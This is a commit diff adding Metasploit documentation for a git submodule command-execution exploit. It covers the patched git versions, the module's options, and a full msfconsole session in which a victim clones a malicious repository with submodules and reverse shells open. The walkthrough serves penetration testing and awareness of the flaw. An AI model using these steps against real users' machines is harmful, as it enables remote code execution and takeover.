add docs for the git submodule vulnerability

documentation/modules/exploit/multi/http/git_submodule_exec.md

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+## Vulnerable Application
+
+  Git can be installed on a variety of operating systems, however
+  newer versions may contain the patch for this vulnerability.
+
+  On OSX it can be installed with the XCode command line tools:
+  ```xcode-select --install```
+  
+  On Linux it can be installed with apt:
+  ```sudo apt-get update && sudo apt-get install git```
+
+  You can check the version with ```git --version```.
+  The fix is included in the following version:
+    2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
+
+## Verification Steps
+
+  Example steps in this format:
+
+  1. Install the application
+  1. Start msfconsole
+  1. Do: ```use exploit/multi/http/git_submodule_command_exec```
+  1. Do: ```set SRVHOST [local host]```
+  1. Do: ```set LHOST [local host]```
+  1. Do: ```exploit```
+  1. Clone the malicous Git URI and its submodules
+  1. You should get a shell
+
+## Options
+
+  **GIT_URI**
+
+  This is the URI the git repository will be hosted from (defaults to random).
+
+  **GIT_SUBMODULE**
+
+  This is the URI of the submodule within the git repository (defaults to random).
+  The url of this submodule, when cloned, will execute the payload.
+
+## Scenarios
+
+  Example usage against a macOS Sierra x64 bit target running git version 2.10.1
+
+```
+msf > use exploit/multi/http/git_submodule_command_exec
+msf exploit(git_submodule_command_exec) > set SRVHOST 192.168.0.1
+SRVHOST => 192.168.0.1
+msf exploit(git_submodule_command_exec) > set LHOST 192.168.0.1
+LHOST => 192.168.0.1
+msf exploit(git_submodule_command_exec) > exploit
+[*] Exploit running as background job.
+
+[*] Started reverse TCP handler on 192.168.0.1:4444
+msf exploit(git_submodule_command_exec) > [*] Using URL: http://192.168.0.1:8080/D29MF1UC
+[*] Server started.
+[*] Malicious Git URI is http://192.168.0.1:8080/ldnwrixuqq.git
+***
+Victim executes: git clone http://192.168.0.1:8080/ldnwrixuqq.git --recurse-submodules
+***
+[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:55151) at 2017-08-29 16:54:56 +0800
+[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:55152) at 2017-08-29 16:54:56 +0800
+```